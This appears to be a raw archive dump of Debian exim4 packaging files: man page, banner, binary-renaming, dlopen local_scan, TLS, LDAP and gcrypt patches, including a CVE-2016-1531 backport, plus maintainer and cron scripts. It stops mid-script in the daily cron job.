@special.domain.example .sp This example does a queue run for messages with recipients in the given domain every 25 minutes. Any additional flags that are specified with \fB\-q\fP are @@ -1620,6 +1620,26 @@ This option is interpreted by Sendmail t to the named file. It is ignored by Exim. . .SH "SEE ALSO" +.BR exicyclog (8), +.BR exigrep (8), +.BR exim_checkaccess (8), +.BR exim_convert4r4 (8), +.BR exim_db (8), +.BR exim_dbmbuild (8), +.BR exim_lock (8), +.BR eximon (8), +.BR exinext (8), +.BR exiqgrep (8), +.BR exiqsumm (8), +.BR exiwhat (8), +.BR update\-exim4.conf (8), +.BR update\-exim4defaults (8), +/usr/share/doc/exim4\-base/, +/usr/share/doc/exim4\-base/README.Debian.[gz|html]. .rs .sp The full Exim specification, the Exim book, and the Exim wiki. + +.SH AUTHOR +This manual page was provided with the upstream Exim source package. +It was enhanced for the Debian GNU/Linux system. debian/patches/fix_smtp_banner.patch0000644000000000000000000000472212261153030015012 0ustar Description: Add EXIM_DISTRIBUTION var to display it on the SMTP banner Origin: https://blueprints.launchpad.net/ubuntu/+spec/servercloud-s-server-app-banner-updates Author: Yolanda Robla Last-Update: 2013-06-20 === modified file 'src/exim.h' Index: exim4_ubuntu/src/globals.c =================================================================== --- exim4_ubuntu.orig/src/globals.c 2013-12-10 17:06:29.194997355 +0000 +++ exim4_ubuntu/src/globals.c 2013-12-10 17:06:29.190997355 +0000 @@ -1175,7 +1175,7 @@ uschar *smtp_active_hostname = NULL; BOOL smtp_authenticated = FALSE; uschar *smtp_banner = US"$smtp_active_hostname ESMTP " - "Exim $version_number $tod_full" + "Exim $version_number " EXIM_DISTRIBUTION " $tod_full" "\0<---------------Space to patch smtp_banner->"; BOOL smtp_batched_input = FALSE; BOOL smtp_check_spool_space = TRUE; Index: exim4_ubuntu/src/config.h.defaults =================================================================== --- exim4_ubuntu.orig/src/config.h.defaults 2013-12-10 17:06:29.194997355 +0000 +++ exim4_ubuntu/src/config.h.defaults 2013-12-10 17:06:29.190997355 +0000 @@ -196,4 +196,6 @@ #define SC_EXIM_ARITH "%" SCNi64 /* scanf incl. 0x prefix */ #define SC_EXIM_DEC "%" SCNd64 /* scanf decimal */ +#define EXIM_DISTRIBUTION + /* End of config.h.defaults */ Index: exim4_ubuntu/scripts/Configure-config.h =================================================================== --- exim4_ubuntu.orig/scripts/Configure-config.h 2013-12-10 17:06:29.194997355 +0000 +++ exim4_ubuntu/scripts/Configure-config.h 2013-12-10 17:06:29.190997355 +0000 @@ -23,6 +23,12 @@ if [ "$1" != "" ] ; then MAKE=$1 ; fi if [ "$MAKE" = "" ] ; then MAKE=make ; fi +# exporting distribution to use it in smtp banner +if test -x /usr/bin/lsb_release && lsb_release -si; then + export EXIM_DISTRIBUTION=\"$(lsb_release -si)\" +else + export EXIM_DISTRIBUTION=\"\" +fi $MAKE buildconfig || exit 1 # BEWARE: tab characters needed in the following sed command. They have had Index: exim4_ubuntu/src/exim.h =================================================================== --- exim4_ubuntu.orig/src/exim.h 2013-12-10 17:06:29.194997355 +0000 +++ exim4_ubuntu/src/exim.h 2013-12-10 17:06:29.190997355 +0000 @@ -580,4 +580,8 @@ #endif #endif +#ifndef EXIM_DISTRIBUTION + #define EXIM_DISTRIBUTION "" +#endif + /* End of exim.h */ debian/patches/CVE-2016-1531-3.patch0000644000000000000000000001004212671566402013376 0ustar Backport of: From f1ff8cb17d215a94986d0bc9e8bd4bec73333838 Mon Sep 17 00:00:00 2001 From: "Heiko Schlittermann (HS12-RIPE)" Date: Wed, 9 Mar 2016 11:13:42 +0100 Subject: [PATCH] Store the initial working directory, expand $initial_cwd. Bug 1805 (cherry picked from commit 3615fa9a06356891367c66ed284cef9db5cefca3) --- doc/doc-docbook/spec.xfpt | 6 ++++++ doc/doc-txt/NewStuff | 2 ++ src/src/exim.c | 12 ++++++++++-- src/src/expand.c | 1 + src/src/globals.c | 1 + src/src/globals.h | 1 + 6 files changed, 21 insertions(+), 2 deletions(-) Index: exim4-4.82/doc/spec.txt =================================================================== --- exim4-4.82.orig/doc/spec.txt 2016-03-14 12:55:03.890146186 -0400 +++ exim4-4.82/doc/spec.txt 2016-03-14 12:55:03.878146042 -0400 @@ -10282,6 +10282,13 @@ See $host_lookup_deferred. +$initial_cwd + + This variable contains the full path name of the initial working + directory of the current Exim process. This may differ from the current + working directory, as Exim changes this to "/" during early startup, and + to $spool_directory later. + $inode The only time this variable is set is while expanding the directory_file Index: exim4-4.82/src/exim.c =================================================================== --- exim4-4.82.orig/src/exim.c 2016-03-14 12:55:03.890146186 -0400 +++ exim4-4.82/src/exim.c 2016-03-14 12:55:03.882146089 -0400 @@ -3655,6 +3655,13 @@ exit(EXIT_FAILURE); } +/* Store the initial cwd before we change directories */ +if ((initial_cwd = getcwd(NULL, 0)) == NULL) + { + perror("exim: can't get the current working directory"); + exit(EXIT_FAILURE); + } + readconf_main(); if (cleanup_environment() == FALSE) @@ -3931,9 +3938,10 @@ { int i; uschar *p = big_buffer; - char * dummy; Ustrcpy(p, "cwd= (failed)"); - dummy = /* quieten compiler */ getcwd(CS p+4, big_buffer_size - 4); + + Ustrncpy(p + 4, initial_cwd, big_buffer_size-5); + while (*p) p++; (void)string_format(p, big_buffer_size - (p - big_buffer), " %d args:", argc); while (*p) p++; Index: exim4-4.82/src/expand.c =================================================================== --- exim4-4.82.orig/src/expand.c 2016-03-14 12:55:03.890146186 -0400 +++ exim4-4.82/src/expand.c 2016-03-14 12:55:23.502380085 -0400 @@ -488,6 +488,7 @@ { "host_data", vtype_stringptr, &host_data }, { "host_lookup_deferred",vtype_int, &host_lookup_deferred }, { "host_lookup_failed", vtype_int, &host_lookup_failed }, + { "initial_cwd", vtype_stringptr, &initial_cwd }, { "inode", vtype_ino, &deliver_inode }, { "interface_address", vtype_stringptr, &interface_address }, { "interface_port", vtype_int, &interface_port }, Index: exim4-4.82/src/globals.c =================================================================== --- exim4-4.82.orig/src/globals.c 2016-03-14 12:55:03.890146186 -0400 +++ exim4-4.82/src/globals.c 2016-03-14 12:55:03.886146138 -0400 @@ -736,6 +736,7 @@ uschar *ignore_fromline_hosts = NULL; BOOL inetd_wait_mode = FALSE; int inetd_wait_timeout = -1; +uschar *initial_cwd = NULL; uschar *interface_address = NULL; int interface_port = -1; BOOL is_inetd = FALSE; Index: exim4-4.82/src/globals.h =================================================================== --- exim4-4.82.orig/src/globals.h 2016-03-14 12:55:03.890146186 -0400 +++ exim4-4.82/src/globals.h 2016-03-14 12:55:03.886146138 -0400 @@ -469,6 +469,7 @@ extern uschar *ignore_fromline_hosts; /* Hosts permitted to send "From " */ extern BOOL inetd_wait_mode; /* Whether running in inetd wait mode */ extern int inetd_wait_timeout; /* Timeout for inetd wait mode */ +extern uschar *initial_cwd; /* The directory we where in at startup */ extern BOOL is_inetd; /* True for inetd calls */ extern uschar *iterate_item; /* Item from iterate list */ debian/patches/32_exim4.dpatch0000755000000000000000000000767412245437403013361 0ustar Description: Accomodate source for installing exim as exim4. Author: Andreas Metzler Origin: vendor Forwarded: not-needed Last-Update: 2013-09-28 --- exim4-4.82~rc1.orig/OS/Makefile-Linux +++ exim4-4.82~rc1/OS/Makefile-Linux @@ -28,9 +28,9 @@ XLFLAGS=-L$(X11)/lib X11_LD_LIB=$(X11)/lib EXIWHAT_PS_ARG=ax -EXIWHAT_EGREP_ARG='/exim( |$$)' +EXIWHAT_EGREP_ARG='/exim4( |$$)' EXIWHAT_MULTIKILL_CMD=killall -EXIWHAT_MULTIKILL_ARG=exim +EXIWHAT_MULTIKILL_ARG=exim4 EXIWHAT_KILL_SIGNAL=-USR1 # End --- exim4-4.82~rc1.orig/src/exicyclog.src +++ exim4-4.82~rc1/src/exicyclog.src @@ -144,7 +144,7 @@ done st=' ' exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` -if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi +if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi spool_directory=`$exim_path -C $config -bP spool_directory | sed 's/.*=[ ]*//'` --- exim4-4.82~rc1.orig/src/exim_checkaccess.src +++ exim4-4.82~rc1/src/exim_checkaccess.src @@ -52,7 +52,7 @@ done # a tab to keep the tab in one place. exim_path=`perl -ne 'chop;if (/^\s*exim_path\s*=\s*(.*)/){print "$1\n";last;}' $config` -if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi +if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi ######################################################################### --- exim4-4.82~rc1.orig/src/eximon.src +++ exim4-4.82~rc1/src/eximon.src @@ -72,7 +72,7 @@ config=${EXIMON_EXIM_CONFIG-$config} st=' ' EXIM_PATH=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` -if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim; fi +if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim4; fi SPOOL_DIRECTORY=`$EXIM_PATH -C $config -bP spool_directory | sed 's/.*=[ ]*//'` LOG_FILE_PATH=`$EXIM_PATH -C $config -bP log_file_path | sed 's/.*=[ ]*//'` --- exim4-4.82~rc1.orig/src/exinext.src +++ exim4-4.82~rc1/src/exinext.src @@ -90,7 +90,7 @@ if [ "$exim_path" = "" ]; then exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` fi -if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi +if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi spool_directory=`$exim_path $eximmacdef -C $config -bP spool_directory | sed 's/.*=[ ]*//'` qualify_domain=`$exim_path $eximmacdef -C $config -bP qualify_domain | sed 's/.*=[ ]*//'` @@ -171,7 +171,7 @@ perl - $exim_path "$eximmacdef" $argone # Run exim_dumpdb to get out the retry data and pick off what we want - open(DATA, "${exim}_dumpdb $spool retry |") || + open(DATA, "/usr/sbin/exim_dumpdb $spool retry |") || die "can't run exim_dumpdb"; while () --- exim4-4.82~rc1.orig/src/exiqgrep.src +++ exim4-4.82~rc1/src/exiqgrep.src @@ -21,7 +21,7 @@ use strict; use Getopt::Std; # Have this variable point to your exim binary. -my $exim = 'BIN_DIRECTORY/exim'; +my $exim = 'BIN_DIRECTORY/exim4'; my $eargs = '-bpu'; my %id; my %opt; --- exim4-4.82~rc1.orig/src/exiwhat.src +++ exim4-4.82~rc1/src/exiwhat.src @@ -88,7 +88,7 @@ fi st=' ' exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` -if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim; fi +if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi spool_directory=`$exim_path -C $config -bP spool_directory | sed "s/.*=[ ]*//"` process_log_path=`$exim_path -C $config -bP process_log_path | sed "s/.*=[ ]*//"` --- exim4-4.82~rc1.orig/src/globals.c +++ exim4-4.82~rc1/src/globals.c @@ -633,7 +633,7 @@ int errors_sender_rc = EXIT_FA gid_t exim_gid = EXIM_GID; BOOL exim_gid_set = TRUE; /* This gid is always set */ -uschar *exim_path = US BIN_DIRECTORY "/exim" +uschar *exim_path = US BIN_DIRECTORY "/exim4" "\0<---------------Space to patch exim_path->"; uid_t exim_uid = EXIM_UID; BOOL exim_uid_set = TRUE; /* This uid is always set */ debian/patches/50_localscan_dlopen.dpatch0000644000000000000000000002301212245437403015610 0ustar ## 50_localscan_dlopen.dpatch by Marc MERLIN Description: Allow to use and switch between different local_scan functions without recompiling exim. http://marc.merlins.org/linux/exim/files/sa-exim-current/ Original patch from David Woodhouse, modified first by Derrick 'dman' Hudson and then by Marc MERLIN for SA-Exim and minor/major API version tracking Author: David Woodhouse, Derrick 'dman' Hudson, Marc MERLIN Origin: other, http://marc.merlins.org/linux/exim/files/sa-exim-current/ Forwarded: no Last-Update: 2013-09-28 --- exim4-4.82~rc1.orig/src/EDITME +++ exim4-4.82~rc1/src/EDITME @@ -752,6 +752,21 @@ HEADERS_CHARSET="ISO-8859-1" #------------------------------------------------------------------------------ +# On systems which support dynamic loading of shared libraries, Exim can +# load a local_scan function specified in its config file instead of having +# to be recompiled with the desired local_scan function. For a full +# description of the API to this function, see the Exim specification. + +DLOPEN_LOCAL_SCAN=yes + +# If you set DLOPEN_LOCAL_SCAN, then you need to include -rdynamic in the +# linker flags. Without it, the loaded .so won't be able to access any +# functions from exim. + +LDFLAGS += -rdynamic +CFLAGS += -fvisibility=hidden + +#------------------------------------------------------------------------------ # The default distribution of Exim contains only the plain text form of the # documentation. Other forms are available separately. If you want to install # the documentation in "info" format, first fetch the Texinfo documentation --- exim4-4.82~rc1.orig/src/config.h.defaults +++ exim4-4.82~rc1/src/config.h.defaults @@ -27,6 +27,8 @@ it's a default value. */ #define AUTH_VARS 3 +#define DLOPEN_LOCAL_SCAN + #define BIN_DIRECTORY #define CONFIGURE_FILE --- exim4-4.82~rc1.orig/src/globals.c +++ exim4-4.82~rc1/src/globals.c @@ -116,6 +116,9 @@ tls_support tls_out = { NULL /* tls_sni */ }; +#ifdef DLOPEN_LOCAL_SCAN +uschar *local_scan_path = NULL; +#endif #ifdef SUPPORT_TLS BOOL gnutls_compat_mode = FALSE; --- exim4-4.82~rc1.orig/src/globals.h +++ exim4-4.82~rc1/src/globals.h @@ -113,6 +113,9 @@ extern uschar *tls_verify_certificates;/ extern uschar *tls_verify_hosts; /* Mandatory client verification */ #endif +#ifdef DLOPEN_LOCAL_SCAN +extern uschar *local_scan_path; /* Path to local_scan() library */ +#endif /* Input-reading functions for messages, so we can use special ones for incoming TCP/IP. */ --- exim4-4.82~rc1.orig/src/local_scan.c +++ exim4-4.82~rc1/src/local_scan.c @@ -5,60 +5,131 @@ /* Copyright (c) University of Cambridge 1995 - 2009 */ /* See the file NOTICE for conditions of use and distribution. */ +#include "exim.h" -/****************************************************************************** -This file contains a template local_scan() function that just returns ACCEPT. -If you want to implement your own version, you should copy this file to, say -Local/local_scan.c, and edit the copy. To use your version instead of the -default, you must set - -LOCAL_SCAN_SOURCE=Local/local_scan.c - -in your Local/Makefile. This makes it easy to copy your version for use with -subsequent Exim releases. - -For a full description of the API to this function, see the Exim specification. -******************************************************************************/ - - -/* This is the only Exim header that you should include. The effect of -including any other Exim header is not defined, and may change from release to -release. Use only the documented interface! */ - -#include "local_scan.h" - - -/* This is a "do-nothing" version of a local_scan() function. The arguments -are: - - fd The file descriptor of the open -D file, which contains the - body of the message. The file is open for reading and - writing, but modifying it is dangerous and not recommended. - - return_text A pointer to an unsigned char* variable which you can set in - order to return a text string. It is initialized to NULL. - -The return values of this function are: - - LOCAL_SCAN_ACCEPT - The message is to be accepted. The return_text argument is - saved in $local_scan_data. - - LOCAL_SCAN_REJECT - The message is to be rejected. The returned text is used - in the rejection message. - - LOCAL_SCAN_TEMPREJECT - This specifies a temporary rejection. The returned text - is used in the rejection message. -*/ +#ifdef DLOPEN_LOCAL_SCAN +#include +static int (*local_scan_fn)(int fd, uschar **return_text) = NULL; +static int load_local_scan_library(void); +#endif int local_scan(int fd, uschar **return_text) { fd = fd; /* Keep picky compilers happy */ return_text = return_text; -return LOCAL_SCAN_ACCEPT; +#ifdef DLOPEN_LOCAL_SCAN +/* local_scan_path is defined AND not the empty string */ +if (local_scan_path && *local_scan_path) + { + if (!local_scan_fn) + { + if (!load_local_scan_library()) + { + char *base_msg , *error_msg , *final_msg ; + int final_length = -1 ; + + base_msg=US"Local configuration error - local_scan() library failure\n"; + error_msg = dlerror() ; + + final_length = strlen(base_msg) + strlen(error_msg) + 1 ; + final_msg = (char*)malloc( final_length*sizeof(char) ) ; + *final_msg = '\0' ; + + strcat( final_msg , base_msg ) ; + strcat( final_msg , error_msg ) ; + + *return_text = final_msg ; + return LOCAL_SCAN_TEMPREJECT; + } + } + return local_scan_fn(fd, return_text); + } +else +#endif + return LOCAL_SCAN_ACCEPT; +} + +#ifdef DLOPEN_LOCAL_SCAN + +static int load_local_scan_library(void) +{ +/* No point in keeping local_scan_lib since we'll never dlclose() anyway */ +void *local_scan_lib = NULL; +int (*local_scan_version_fn)(void); +int vers_maj; +int vers_min; + +local_scan_lib = dlopen(local_scan_path, RTLD_NOW); +if (!local_scan_lib) + { + log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library open failed - " + "message temporarily rejected"); + return FALSE; + } + +local_scan_version_fn = dlsym(local_scan_lib, "local_scan_version_major"); +if (!local_scan_version_fn) + { + dlclose(local_scan_lib); + log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain " + "local_scan_version_major() function - message temporarily rejected"); + return FALSE; + } + +/* The major number is increased when the ABI is changed in a non + backward compatible way. */ +vers_maj = local_scan_version_fn(); + +local_scan_version_fn = dlsym(local_scan_lib, "local_scan_version_minor"); +if (!local_scan_version_fn) + { + dlclose(local_scan_lib); + log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain " + "local_scan_version_minor() function - message temporarily rejected"); + return FALSE; + } + +/* The minor number is increased each time a new feature is added (in a + way that doesn't break backward compatibility) -- Marc */ +vers_min = local_scan_version_fn(); + + +if (vers_maj != LOCAL_SCAN_ABI_VERSION_MAJOR) + { + dlclose(local_scan_lib); + local_scan_lib = NULL; + log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() has an incompatible major" + "version number, you need to recompile your module for this version" + "of exim (The module was compiled for version %d.%d and this exim provides" + "ABI version %d.%d)", vers_maj, vers_min, LOCAL_SCAN_ABI_VERSION_MAJOR, + LOCAL_SCAN_ABI_VERSION_MINOR); + return FALSE; + } +else if (vers_min > LOCAL_SCAN_ABI_VERSION_MINOR) + { + dlclose(local_scan_lib); + local_scan_lib = NULL; + log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() has an incompatible minor" + "version number, you need to recompile your module for this version" + "of exim (The module was compiled for version %d.%d and this exim provides" + "ABI version %d.%d)", vers_maj, vers_min, LOCAL_SCAN_ABI_VERSION_MAJOR, + LOCAL_SCAN_ABI_VERSION_MINOR); + return FALSE; + } + +local_scan_fn = dlsym(local_scan_lib, "local_scan"); +if (!local_scan_fn) + { + dlclose(local_scan_lib); + log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain " + "local_scan() function - message temporarily rejected"); + return FALSE; + } + +return TRUE; } +#endif /* DLOPEN_LOCAL_SCAN */ + /* End of local_scan.c */ --- exim4-4.82~rc1.orig/src/local_scan.h +++ exim4-4.82~rc1/src/local_scan.h @@ -17,6 +17,7 @@ settings, and the store functions. */ #include #include +#pragma GCC visibility push(default) #include "config.h" #include "mytypes.h" #include "store.h" @@ -190,4 +191,6 @@ extern uschar *string_copy(const uschar extern uschar *string_copyn(uschar *, int); extern uschar *string_sprintf(const char *, ...) ALMOST_PRINTF(1,2); +#pragma GCC visibility pop + /* End of local_scan.h */ --- exim4-4.82~rc1.orig/src/readconf.c +++ exim4-4.82~rc1/src/readconf.c @@ -286,6 +286,9 @@ static optionlist optionlist_config[] = { "local_from_prefix", opt_stringptr, &local_from_prefix }, { "local_from_suffix", opt_stringptr, &local_from_suffix }, { "local_interfaces", opt_stringptr, &local_interfaces }, +#ifdef DLOPEN_LOCAL_SCAN + { "local_scan_path", opt_stringptr, &local_scan_path }, +#endif { "local_scan_timeout", opt_time, &local_scan_timeout }, { "local_sender_retain", opt_bool, &local_sender_retain }, { "localhost_number", opt_stringptr, &host_number_string }, debian/patches/77_close-the-server-side-of-TLS.diff0000644000000000000000000000212612245437404017145 0ustar From a400eccf287c55558ae7197c831828cf10b0a35c Mon Sep 17 00:00:00 2001 From: Tony Finch Date: Tue, 5 Nov 2013 12:18:02 +0000 Subject: [PATCH 2/8] Correctly close the server side of TLS when forking for delivery. --- src/daemon.c | 2 +- src/exim.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/daemon.c b/src/daemon.c index 3467f14..8e61dcf 100644 --- a/src/daemon.c +++ b/src/daemon.c @@ -639,7 +639,7 @@ if (pid == 0) the data structures if necessary. */ #ifdef SUPPORT_TLS - tls_close(FALSE, FALSE); + tls_close(TRUE, FALSE); #endif /* Reset SIGHUP and SIGCHLD in the child in both cases. */ diff --git a/src/exim.c b/src/exim.c index a715c0b..856e655 100644 --- a/src/exim.c +++ b/src/exim.c @@ -526,7 +526,7 @@ close_unwanted(void) if (smtp_input) { #ifdef SUPPORT_TLS - tls_close(FALSE, FALSE); /* Shut down the TLS library */ + tls_close(TRUE, FALSE); /* Shut down the TLS library */ #endif (void)close(fileno(smtp_in)); (void)close(fileno(smtp_out)); -- 1.7.10.4 debian/patches/76_fix_ldap_option_setting.diff0000644000000000000000000000635212245437404016711 0ustar From f535f98390710c48b0fe2bf3bbe751a3459ca72b Mon Sep 17 00:00:00 2001 From: Todd Lyons Date: Thu, 31 Oct 2013 09:42:15 -0700 Subject: [PATCH] Fix ldap option setting. Some client libs set a global context, newer client libs set a global default which then needs to be reloaded. diff --git a/src/lookups/ldap.c b/src/lookups/ldap.c index 6129b4b..a25868f 100644 --- a/src/lookups/ldap.c +++ b/src/lookups/ldap.c @@ -280,6 +280,13 @@ if (lcp == NULL) { LDAP *ld; + #ifdef LDAP_OPT_X_TLS_NEWCTX + int am_server = 0; + LDAP *ldsetctx; + #else + LDAP *ldsetctx = NULL; + #endif + /* --------------------------- OpenLDAP ------------------------ */ @@ -365,6 +372,10 @@ if (lcp == NULL) goto RETURN_ERROR; } + #ifdef LDAP_OPT_X_TLS_NEWCTX + ldsetctx = ld; + #endif + /* Set the TCP connect time limit if available. This is something that is in Netscape SDK v4.1; I don't know about other libraries. */ @@ -461,31 +472,31 @@ if (lcp == NULL) #ifdef LDAP_OPT_X_TLS_CACERTFILE if (eldap_ca_cert_file != NULL) { - ldap_set_option(ld, LDAP_OPT_X_TLS_CACERTFILE, eldap_ca_cert_file); + ldap_set_option(ldsetctx, LDAP_OPT_X_TLS_CACERTFILE, eldap_ca_cert_file); } #endif #ifdef LDAP_OPT_X_TLS_CACERTDIR if (eldap_ca_cert_dir != NULL) { - ldap_set_option(ld, LDAP_OPT_X_TLS_CACERTDIR, eldap_ca_cert_dir); + ldap_set_option(ldsetctx, LDAP_OPT_X_TLS_CACERTDIR, eldap_ca_cert_dir); } #endif #ifdef LDAP_OPT_X_TLS_CERTFILE if (eldap_cert_file != NULL) { - ldap_set_option(ld, LDAP_OPT_X_TLS_CERTFILE, eldap_cert_file); + ldap_set_option(ldsetctx, LDAP_OPT_X_TLS_CERTFILE, eldap_cert_file); } #endif #ifdef LDAP_OPT_X_TLS_KEYFILE if (eldap_cert_key != NULL) { - ldap_set_option(ld, LDAP_OPT_X_TLS_KEYFILE, eldap_cert_key); + ldap_set_option(ldsetctx, LDAP_OPT_X_TLS_KEYFILE, eldap_cert_key); } #endif #ifdef LDAP_OPT_X_TLS_CIPHER_SUITE if (eldap_cipher_suite != NULL) { - ldap_set_option(ld, LDAP_OPT_X_TLS_CIPHER_SUITE, eldap_cipher_suite); + ldap_set_option(ldsetctx, LDAP_OPT_X_TLS_CIPHER_SUITE, eldap_cipher_suite); } #endif #ifdef LDAP_OPT_X_TLS_REQUIRE_CERT @@ -508,8 +519,26 @@ if (lcp == NULL) { cert_option = LDAP_OPT_X_TLS_TRY; } - /* Use NULL ldap handle because is a global option */ - ldap_set_option(NULL, LDAP_OPT_X_TLS_REQUIRE_CERT, &cert_option); + /* This ldap handle is set at compile time based on client libs. Older + * versions want it to be global and newer versions can force a reload + * of the TLS context (to reload these settings we are changing from the + * default that loaded at instantiation). */ + rc = ldap_set_option(ldsetctx, LDAP_OPT_X_TLS_REQUIRE_CERT, &cert_option); + if (rc) + { + DEBUG(D_lookup) + debug_printf("Unable to set TLS require cert_option(%d) globally: %s\n", + cert_option, ldap_err2string(rc)); + } + } + #endif + #ifdef LDAP_OPT_X_TLS_NEWCTX + rc = ldap_set_option(ldsetctx, LDAP_OPT_X_TLS_NEWCTX, &am_server); + if (rc) + { + DEBUG(D_lookup) + debug_printf("Unable to reload TLS context %d: %s\n", + rc, ldap_err2string(rc)); } #endif -- 1.6.3.2 debian/patches/60_convert4r4.dpatch0000755000000000000000000000274512245437403014340 0ustar Description: Add a warning message to convert4r4 Author: Marc Haber Origin: vendor Forwarded: no Last-Update: 2013-09-28 --- exim4-4.82~rc1.orig/src/convert4r4.src +++ exim4-4.82~rc1/src/convert4r4.src @@ -652,6 +652,32 @@ return defined $main{$_[0]} && $main{$_[ print STDERR "Runtime configuration file converter for Exim release 4.\n"; +if( !defined $ENV{"CONVERT4R4"} || $ENV{"CONVERT4R4"} ne "I understand this is an unsupported tool" ) { + + print STDERR < ## ## All lines beginning with `## DP:' are a description of the patch. ## DP: Save gcrypt RNG seed. diff -NurbBp exim.orig/src/tls-gnu.c exim/src/tls-gnu.c --- exim.orig/src/tls-gnu.c 2009-11-15 12:17:32.000000000 +0100 +++ exim/src/tls-gnu.c 2009-11-15 12:38:30.000000000 +0100 @@ -20,6 +20,7 @@ functions from the GnuTLS library. */ #include #include +#include #define UNKNOWN_NAME "unknown" #define DH_BITS 2048 @@ -443,10 +444,35 @@ tls_init(host_item *host, uschar *certif uschar *crl) { int rc; +uschar filename[200]; uschar *cert_expanded, *key_expanded, *cas_expanded, *crl_expanded; +gcry_error_t gcr_rc; client_host = host; +/* initialize gcrypt explicitely */ +gcry_check_version (NULL); + +/* Use a random_seed file for gcrypt's RNG */ +if (host_number_string != NULL) + { + if (!string_format(filename, sizeof(filename), "%s/random.seed%s", + spool_directory, host_number_string)) + return tls_error(US"overlong filename spool_directory/random.seedlocalhost_number", host, 0); + } +else + { + if (!string_format(filename, sizeof(filename), "%s/random.seed", + spool_directory)) + return tls_error(US"overlong filename spool_directory/random.seed", host, 0); + } + +gcr_rc = gcry_control (GCRYCTL_SET_RANDOM_SEED_FILE,filename); +if (gcr_rc) + return tls_error(US"Failure to set random_seed file", host, gcr_rc); + +gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); + rc = gnutls_global_init(); if (rc < 0) return tls_error(US"tls-init", host, gnutls_strerror(rc)); @@ -1295,8 +1321,19 @@ Returns: nothing void tls_close(BOOL shutdown) { +gcry_error_t gcr_rc; + if (tls_active < 0) return; /* TLS was not active */ +gcr_rc = gcry_control (GCRYCTL_UPDATE_RANDOM_SEED_FILE); + +if (gcr_rc) + { + DEBUG(D_tls) debug_printf( + "GCRYCTL_UPDATE_RANDOM_SEED_FILE failed: (%d): (%s)\n", + gcr_rc,gcry_strerror(gcr_rc)); + } + if (shutdown) { DEBUG(D_tls) debug_printf("tls_close(): shutting down TLS\n"); debian/exim4-daemon-light.postinst0000644000000000000000000000127212027557533014402 0ustar #!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi dc_eximconfig_configtype="other" db_get exim4/dc_eximconfig_configtype || true if [ "$RET" = "no configuration at this time" ]; then dc_eximconfig_configtype="none" fi case "$1" in configure) # || true is needed for succesfull installation with configtype 'none' if [ -x /etc/init.d/exim4 ]; then db_stop if [ "$dc_eximconfig_configtype" = "none" ]; then # we may have broken config here, ignore errors invoke-rc.d exim4 start || true else # we must have working config here, honor errors invoke-rc.d exim4 start fi fi ;; esac #DEBHELPER# debian/exim4-base.cron.daily0000644000000000000000000001003512200230010013063 0ustar #!/bin/sh if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi # set this to some other value if you don't want the panic log to be # watched by this script, for example when you're using your own log # checking mechanisms or don't care. E4BCD_DAILY_REPORT_TO="" E4BCD_DAILY_REPORT_OPTIONS="" E4BCD_WATCH_PANICLOG="yes" # Number of lines of paniclog quoted in warning email. E4BCD_PANICLOG_LINES="10" E4BCD_PANICLOG_NOISE="" # Only do anything if exim4 is actually installed if [ ! -x /usr/lib/exim4/exim4 ]; then exit 0 fi [ -f /etc/default/exim4 ] && . /etc/default/exim4 SPOOLDIR="$(exim4 -bP spool_directory | sed 's/.*=[[:space:]]\(.*\)/\1/')" # The log processing code used in this cron script is not very # sophisticated. It relies on this cron job being executed earlier than # the log rotation job, and will have false results if the log is not # rotated exactly once daily in the daily cron processing. Even in the # default configuration, it will ignore log entries made between this # cron job and the log rotation job. # Patches for more sophisticated processing are appreciated via the # Debian BTS. E4BCD_MAINLOG_NOISE="^[[:digit:][:space:]:-]\{20\}\(\(Start\|End\) queue run: pid=[[:digit:]]\+\|exim [[:digit:]\.]\+ daemon started: pid=[[:digit:]]\+, .*\)$" if [ -n "$E4BCD_DAILY_REPORT_TO" ]; then if [ -x "$(command -v eximstats)" ] && [ -x "$(command -v mail)" ]; then if [ "$(< /var/log/exim4/mainlog grep -v "$E4BCD_MAINLOG_NOISE" | wc -l)" -gt "0" ]; then < /var/log/exim4/mainlog grep -v "$E4BCD_MAINLOG_NOISE" \ | eximstats $E4BCD_DAILY_REPORT_OPTIONS \ | mail -s"$(hostname --fqdn) Daily e-mail activity report" \ $E4BCD_DAILY_REPORT_TO else echo "no mail activity in this interval" \ | mail -s"$(hostname --fqdn) Daily e-mail activity report" \ $E4BCD_DAILY_REPORT_TO fi else echo "The exim4 cron job is configured to send a daily report, but eximstats" echo "and/or mail cannot be found. Please check and make sure that these two" echo "binaries are available" fi fi log_this() { TEXT="$@" if ! logger -t exim4 -p mail.alert $TEXT; then RET="$?" echo >&2 "ALERT: could not syslog $TEXT, logger return value $RET" fi } if [ "$E4BCD_WATCH_PANICLOG" != "no" ]; then if [ -s "/var/log/exim4/paniclog" ]; then if [ -x "/usr/local/lib/exim4/nonzero_paniclog_hook" ]; then /usr/local/lib/exim4/nonzero_paniclog_hook fi if [ -z "$E4BCD_PANICLOG_NOISE" ] || grep -vq "$E4BCD_PANICLOG_NOISE" /var/log/exim4/paniclog; then log_this 